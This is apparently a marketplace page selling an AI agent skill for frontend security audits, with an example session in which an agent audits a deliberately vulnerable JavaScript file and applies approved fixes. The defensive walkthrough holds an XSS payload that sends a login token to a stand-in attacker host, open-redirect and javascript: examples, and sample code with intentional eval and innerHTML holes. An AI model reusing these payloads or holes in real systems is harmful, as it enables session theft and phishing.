Works with the AI Agents you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIDeepSeekDeepSeekMuseMuse+22 more

    Frontend Security Audit Fix Pass

    1

    A security pass over your frontend: XSS sinks, open redirects, postMessage, cookies, storage and CSP, severity-ranked, with fixes applied only after you choose them, then re-audited

    $5

    /mo

    Subscription · cancel anytime

    Secure checkout via Stripe

    • Always the latest version
    • Delivered live to your agent via MCP
    • Cancel anytime, access ends at period end
    Security scanned
    Frontend Security Audit Fix Pass

    Frontend Security Audit Fix Pass

    Example session with this skill installed

    Run a security audit on this and fix what you find. The audit plan is approved in advance and you may apply every Critical and High fix; list anything lower as deferred. It's a vanilla JS single-page app, one file:

    src/app.js

    const params = new URLSearchParams(location.search);
    document.getElementById('greeting').innerHTML = 'Hello ' + params.get('name');
    const next = params.get('next');
    if (next) location.href = next;
    async function login(user, pass) {
      const r = await fetch('/api/login', { method: 'POST', body: JSON.stringify({ user, pass }) });
      const { token } = await r.json();
      localStorage.setItem('token', token);
      document.cookie = 'session=' + token;
    }
    window.addEventListener('message', (e) => { eval(e.data.code); });
    function renderComment(c) {
      document.querySelector('#comments').insertAdjacentHTML('beforeend', '<li>' + c.body + '</li>');
    }
    

    index.html has <meta http-equiv="Content-Security-Policy" content="default-src * 'unsafe-inline' 'unsafe-eval'">.

    • Read your context and instructions
    • Compiled the frontend security audit
    • Generated the UI component

    Frontend security audit: src/app.js + index.html

    I found three Critical issues. Each one lets an attacker run their own script in your origin and take the login token. There are also three High issues and two lower ones. Every Critical and High fix is applied in the code below. The rest are listed as deferred.

    1. Stack and entry points

    • Framework: vanilla JS, no framework. The app shell is index.html and src/app.js is its only script.
    • Build tool: unknown. You didn't paste a package.json, so I'm assuming the file is served as-is.
    • Routing: none. The app reads its state from the query string (?name=, ?next=).

    What I could see: all 14 lines of src/app.js, and from index.html only the CSP <meta> tag. I quote line numbers from app.js as you pasted it.

    2. Attack surface map

    LineCodeSurface
    1new URLSearchParams(location.search)source: the URL, which any attacker can set
    2#greeting.innerHTML = 'Hello ' + params.get('name')HTML sink, fed by the URL
    3-4location.href = params.get('next')navigation sink, fed by the URL
    6-7fetch('/api/login'), then r.json()network: credentials go out, the token comes back
    8localStorage.setItem('token', token)token storage
    9document.cookie = 'session=' + tokencookie write
    11addEventListener('message', e => eval(e.data.code))cross-window input reaching a code-execution sink
    13insertAdjacentHTML('beforeend', '<li>' + c.body + '</li>')HTML sink, fed by comment data (stored)
    index.html<meta http-equiv="Content-Security-Policy" ...>the policy that should contain all of the above

    3. Module manifest

    ModuleFiles / linesCovers
    M1: URL-driven render and navigationsrc/app.js lines 1-4?name greeting, ?next redirect
    M2: Auth and session storagesrc/app.js lines 5-10login(), the token in localStorage, the session cookie
    M3: Cross-window messagingsrc/app.js line 11the message listener
    M4: Comment renderingsrc/app.js lines 12-14renderComment()
    M5: Document shell and policyindex.htmlthe CSP meta tag

    4. Audit plan and your confirmation

    ModuleThreat classes checked
    M1reflected/DOM XSS, javascript: scheme, open redirect
    M2cookie flags (HttpOnly/Secure/SameSite/scope), token exposure in storage, response handling
    M3postMessage origin check, code-execution sinks
    M4stored XSS through HTML-insertion sinks
    M5CSP directives: wildcards, unsafe-inline, unsafe-eval, missing directives

    You approved this ahead of time: "The audit plan is approved in advance and you may apply every Critical and High fix; list anything lower as deferred."

    5. Findings per module

    M1: URL-driven render and navigation

    • F1, Critical, src/app.js:2, DOM-based reflected XSS (innerHTML). Anyone who sends a victim a link like ?name=<img src=x onerror="fetch('//evil.example/?t='+localStorage.token)"> runs that script in your origin as soon as the page loads, and it reads the token from line 8.
    • F2, Critical, src/app.js:4, javascript: navigation plus open redirect (location.href). ?next=javascript:... runs script in your origin. ?next=https://evil.example/login sends users from your domain to a phishing page that looks like yours.

    M2: Auth and session storage (step 7, cookies and storage)

    • F3, High, src/app.js:9, session cookie written without flags. It has no Secure, so it can go out over plain HTTP. It has no SameSite and no Path. Because JavaScript writes it, it can never be HttpOnly, which means every XSS can read the session.

    F4, Medium, src/app.js:8, bearer token in localStorage. Any script on the page can read it, with no expiry and no flags. On its own it is not a hole, but it turns every XSS into account takeover. Deferred.

    F5, Low, src/app.js:6-7, unchecked login response. The code never checks r.ok. A failed login stores the string "undefined" as the token and as the session cookie, and the body is sent without Content-Type: application/json. Deferred.

    M3: Cross-window messaging

    • F6, Critical, src/app.js:11, eval of postMessage data with no origin check. Any page that can get a window handle to yours (it opens your app with window.open, frames it, or is its opener) can send {code: "..."} and run arbitrary JavaScript in your origin. This needs no user interaction beyond visiting the attacker's page.

    M4: Comment rendering

    • F7, High, src/app.js:13, stored XSS (insertAdjacentHTML). A comment whose body is <img src=x onerror=...> runs in the browser of everyone who views the comments.

    M5: CSP and headers (step 6, policy gap list)

    • F8, High, index.html CSP meta tag, permissive policy. It fails in four ways:
      • default-src *: the wildcard lets scripts, frames and connections come from any host, so an injected <script src="//evil.example/x.js"> loads, and data can be exfiltrated to any host.
      • default-src 'unsafe-inline': inline <script> and on*= handlers run, so the payloads in F1 and F7 run.
      • default-src 'unsafe-eval': eval is allowed, so F6 runs.
      • These directives are missing: object-src, base-uri and form-action. frame-ancestors is missing too, and it can't be set from a meta tag anyway.

    6. Consolidated summary, by severity

    #SeverityLocationSink / issueProposed fixDecision
    F1Criticalapp.js:2innerHTML from ?namewrite with textContentapply
    F2Criticalapp.js:4location.href from ?nextparse it and allow only same-origin http(s)apply
    F6Criticalapp.js:11eval(e.data.code), no origin checkdrop eval; check the origin and use a named-action allow-listapply
    F3Highapp.js:9session cookie with no flagsadd Path=/; Secure; SameSite=Strict (full fix is server-side)apply
    F7Highapp.js:13insertAdjacentHTML with c.bodybuild the <li> and set textContentapply
    F8Highindex.htmldefault-src * 'unsafe-inline' 'unsafe-eval'strict same-origin policyapply
    F4Mediumapp.js:8token in localStorageserver issues an HttpOnly cookie; delete this linedeferred
    F5Lowapp.js:6-7no r.ok check, no JSON content typecheck the response before storing anythingdeferred

    Your fix selection: every Critical and High finding (F1, F2, F3, F6, F7, F8). F4 and F5 are deferred.

    7. Fixes applied

    src/app.js, fixed

    const params = new URLSearchParams(location.search);
    
    // F1: the URL is text, never markup.
    document.getElementById('greeting').textContent = 'Hello ' + params.get('name');
    
    // F2: only follow ?next when it resolves to this origin over http(s).
    function safeNextUrl(raw) {
      if (!raw) return null;
      let url;
      try {
        url = new URL(raw, location.origin);
      } catch {
        return null;
      }
      if (url.protocol !== 'https:' && url.protocol !== 'http:') return null; // blocks javascript:, data:, vbscript:
      if (url.origin !== location.origin) return null;                         // blocks //evil.example, /\evil.example, https://evil.example
      return url.href;                                                         // absolute, so a path like //evil.example cannot become protocol-relative
    }
    const next = safeNextUrl(params.get('next'));
    if (next) location.assign(next);
    
    async function login(user, pass) {
      const r = await fetch('/api/login', { method: 'POST', body: JSON.stringify({ user, pass }) });
      const { token } = await r.json();
      localStorage.setItem('token', token);
      // F3: flags a script-written cookie can carry. HttpOnly cannot be set from JS - see residual risk.
      document.cookie = 'session=' + token + '; Path=/; Secure; SameSite=Strict';
    }
    
    // F6: no code strings from other windows. Same-origin senders, named actions only.
    const MESSAGE_HANDLERS = {
      // 'refresh-comments': (payload) => { ... },
    };
    window.addEventListener('message', (e) => {
      if (e.origin !== location.origin) return;
      const data = e.data;
      if (!data || typeof data.action !== 'string') return;
      if (!Object.prototype.hasOwnProperty.call(MESSAGE_HANDLERS, data.action)) return;
      MESSAGE_HANDLERS[data.action](data.payload);
    });
    
    // F7: comment bodies are text, never markup.
    function renderComment(c) {
      const li = document.createElement('li');
      li.textContent = c.body;
      document.querySelector('#comments').append(li);
    }
    

    index.html, CSP meta tag replaced

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self'">
    

    Keep this tag as the first child of <head>, before any <script> or <link>. A meta CSP only applies to content that comes after it.

    Before and after

    #BeforeAfterBehaviour change to watch
    F1innerHTML = 'Hello ' + nametextContent = 'Hello ' + nameNone for normal names. Markup in ?name now shows up as literal text.
    F2location.href = next (anything)location.assign(next) only for same-origin http(s) URLs?next=/dashboard and ?next=/a?b=1#c still work. Off-site and javascript: values are now ignored and the user stays on the page. If you rely on a legitimate redirect to another domain (SSO, a partner site), tell me and I'll add an explicit allow-list of origins.
    F3session=<token>session=<token>; Path=/; Secure; SameSite=StrictSecure cookies are accepted on https:// and on http://localhost in current Chrome, Edge and Firefox, but not on other plain-HTTP hosts. Strict keeps the cookie off cross-site requests. Your same-site fetch calls still carry it. Only the very first navigation from an external link goes without it, which an SPA served from index.html normally doesn't notice.
    F6eval(e.data.code) from any originorigin check, then a named handler from MESSAGE_HANDLERSThis removes a capability. Whatever was posting {code: ...} stops working. Move each thing it did into a named handler and post {action: 'name', payload}. If the sender lives on a different origin, replace location.origin in the check with that one exact origin. If nothing sends messages, delete the listener.
    F7insertAdjacentHTML('<li>' + c.body + '</li>')createElement('li') + textContentComments show up as plain text. If comments are meant to carry formatting, run them through DOMPurify and keep the HTML sink. Don't go back to raw concatenation.
    F8default-src * 'unsafe-inline' 'unsafe-eval'same-origin only, no inline script, no evalI only saw the meta tag, so check the rest of index.html. Any inline <script> block or onclick= attribute will now be blocked: move it into app.js. Any inline <style> or style= attribute is blocked by style-src 'self': move it to a stylesheet. Any CDN, font, analytics or API on another host needs that exact host added to the directive it uses (script-src, font-src, connect-src...), never *. On first load, open the console and look for "Refused to ..." messages. Each one names the directive to adjust.

    8. Re-audit delta

    I ran the same five-module checklist again over both changed files:

    #StatusEvidence
    F1ResolvedLine 2 writes textContent. No HTML sink in M1 receives URL data.
    F2ResolvedsafeNextUrl rejects every non-http(s) scheme and every foreign origin, including //host, /\host and https://host, before navigating. It returns an absolute URL, so a same-origin path that starts with // can't turn into a protocol-relative redirect.
    F3Resolved as far as the frontend can goSecure, SameSite=Strict and Path=/ are set. HttpOnly is still missing because JavaScript can't set it (see residual risk).
    F6ResolvedNo eval, Function or string-to-code path remains. Messages from other origins are dropped, and only named handlers that are your own own-properties can run.
    F7ResolvedrenderComment builds the node and writes textContent. No HTML is parsed from c.body.
    F8ResolvedWildcard, 'unsafe-inline' and 'unsafe-eval' are gone from every directive. object-src 'none', base-uri 'none' and form-action 'self' were added. Even if a sink came back later, inline and eval payloads would now be blocked.

    New sinks introduced: zero. In both files there are now 0 uses of innerHTML, outerHTML, insertAdjacentHTML, document.write, eval and new Function. The new code uses textContent, createElement, append, and a location.assign that only gets a validated same-origin URL. F4 and F5 are unchanged, as agreed.

    I verified this by reading the code, not by running it, because I don't have the app here. Five quick checks in the browser will confirm it:

    1. ?name=<img src=x onerror=alert(1)> shows the text and no alert.
    2. ?next=javascript:alert(1) and ?next=https://example.com stay on the page. ?next=/ navigates.
    3. From another origin's console, w = window.open('<your app>'); w.postMessage({code:'alert(1)'}, '*') does nothing.
    4. A comment with body <b>x</b> shows literal tags.
    5. A normal load shows no CSP violations in the console.

    9. Final report

    • Modules audited: 5 (M1-M5), covering all of src/app.js and the CSP in index.html.
    • Findings: 3 Critical (F1, F2, F6), 3 High (F3, F7, F8), 1 Medium (F4), 1 Low (F5).
    • Fixes applied (6): F1, F2, F3, F6, F7, F8.
    • Deferred (2):

    F4, Medium: token in localStorage. Deleting line 8 is the fix, but only once the server sets the session cookie itself (below). Otherwise anything that reads the token breaks.

    F5, Low: in login(), add headers: { 'Content-Type': 'application/json' } and if (!r.ok) throw new Error('login failed') before the token is stored.

    • Residual risk (backend and infra, outside this frontend audit):
      • The session cookie should come from the server as Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict; Path=/. /api/login should then stop returning the token in JSON. That closes the rest of F3 and makes F4 a one-line deletion.
      • Send the CSP as an HTTP response header as well, adding frame-ancestors 'none' (or your real embedders), which a meta tag can't carry. That protects against clickjacking.
      • Comment bodies are stored and served by your API. Validate them server-side too, and if the server ever renders them into HTML, encode them there.
      • /api/login itself (rate limiting, credential handling) and CSRF protection on state-changing API routes are server-side and weren't reviewed here.

    index.html

    TSX · React component

    Generated

    Example file from a real run - the skill writes it into your workspace.

    $5/mo

    Subscription · always the latest version

    • Secure checkout via Stripe
    • Cancel anytime
    • Delivered live via MCP

    About this skill

    A structured security review of a frontend app, instead of one quick grep. It maps every place untrusted data can reach (HTML sinks, redirects, postMessage listeners, cookie and storage writes, the Content Security Policy), splits the app into modules, and checks each module against a fixed threat list. Every finding comes with its file, line, severity and a one-line explanation of how it would be exploited. Nothing is edited until you pick which fixes to apply.

    What it does

    You get the confirmed stack, an attack-surface map, a module manifest, the audit plan, per-module findings, a severity-ranked summary with a proposed fix for each, the fixes you approved applied with before-and-after notes, a re-audit that marks each fixed finding resolved and confirms no new sink was added, and a final report that separates fixes applied, findings deferred, and backend or infra risk outside the frontend.

    Try it first

    Point it at a repo, or paste a file, and say "run a security audit on this and fix what you find". It presents the plan and waits. Approve it, choose what to fix (for example every Critical and High), and check that the re-audit names each one as resolved.

    What it needs

    Read access to the source, plus write access if you want fixes applied in place. Works for React, Vue, Svelte, Angular and plain JavaScript. No scanners to install, no network access, no API keys.

    Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Security.

    It reviews the frontend only. Server-side issues such as HttpOnly cookies set by the API, rate limiting, CSRF on API routes and server rendering are listed as residual risk, not fixed. It reads code rather than running it, so each fix is checked by re-reading, and the report says so and gives you browser checks to confirm them. A CSP set in a meta tag can't carry every directive (frame-ancestors, for one), and the report points those out. On a large app it audits in modules of up to 25 files, so a full pass takes several rounds.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before buying a skill.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill goes through the trust checks below.

    Security scanned

    Checked by our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Free to use

    No account required to browse

    Trust & safety

    Security scan

    Security scan passed 28 days ago

    Permissions

    Read Files
    Write Files
    Listed28 days ago

    What's inside

    Frequently Asked Questions

    A security pass over your frontend: XSS sinks, open redirects, postMessage, cookies, storage and CSP, severity-ranked, with fixes applied only after you choose them, then re-audited

    This skill uses the open SKILL.md standard. Use it through an MCP-compatible agent connected to Agensi, and check the compatibility information on this page for confirmed agents and required capabilities.

    Connect your AI agent to Agensi through MCP, then ask it to use Frontend Security Audit Fix Pass on your task. Your agent loads the latest approved version each time. Paid skills require a purchase or active subscription. Skill files are not available for download; your licence does not allow you to save, copy or export any part of a skill.

    New in Security